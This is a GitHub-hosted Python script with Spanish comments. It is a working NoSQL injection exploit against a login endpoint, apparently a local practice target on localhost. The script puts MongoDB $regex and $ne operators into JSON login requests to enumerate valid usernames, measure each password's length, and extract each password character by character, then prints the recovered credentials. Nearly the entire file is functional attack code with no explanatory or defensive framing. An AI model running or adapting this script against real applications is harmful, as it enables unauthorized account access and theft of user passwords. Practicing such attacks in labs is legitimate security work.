-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnoSQLi_DumpPasswordUsers.py
executable file
·80 lines (50 loc) · 2.18 KB
/
noSQLi_DumpPasswordUsers.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3
import requests, sys, signal, json, pdb, string
# CTRL + C
def ctrl_c(sig, fram):
print("\n\n\t [!] Quiting....")
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
#-----------------------------
#Variables globales
characters = string.ascii_letters + string.digits
main_url = "http://localhost:4000/user/login"
headers = {'Content-Type': 'application/json'}
def get_users():
users = []
#headers = {'Content-Type': 'application/json'}
for first_character in characters:
for second_character in characters:
post_data = '{"username":{"$regex":"^%s%s"},"password":{"$ne":"dkjfha"}}' % (first_character, second_character)
r = requests.post(main_url, data=post_data, headers=headers)
if "Invalid username or password." not in r.text:
#pdb.set_trace()
response = json.loads(r.text)
user = response['username']
#print(f"[+] El usuario {user} es un usuario válido")
users.append(user)
return users
def getLengthPassword(user):
for digit in range(1, 50):
post_data = '{"username":"%s","password":{"$regex":".{%d}"}}' % (user, digit)
r = requests.post(main_url, data=post_data, headers=headers)
if "Invalid username or password." in r.text:
password_length = digit - 1
return password_length
def getPasswords(users):
for user in users:
password = ""
#print(f"[!] User {user}")
passwordLength = getLengthPassword(user)
#print(f"[*] El usuario tiene una password de {passwordLength} de longitud")
for position in range(0, passwordLength):
for character in characters:
post_data = '{"username":"%s","password":{"$regex":"^%s%s"}}' % (user, password, character)
r = requests.post(main_url, data=post_data, headers=headers)
if "Invalid username or password." not in r.text:
password += character
break
print("[!] La contraseña de %s es %s" % (user, password))
if __name__ == "__main__":
users = get_users()
getPasswords(users)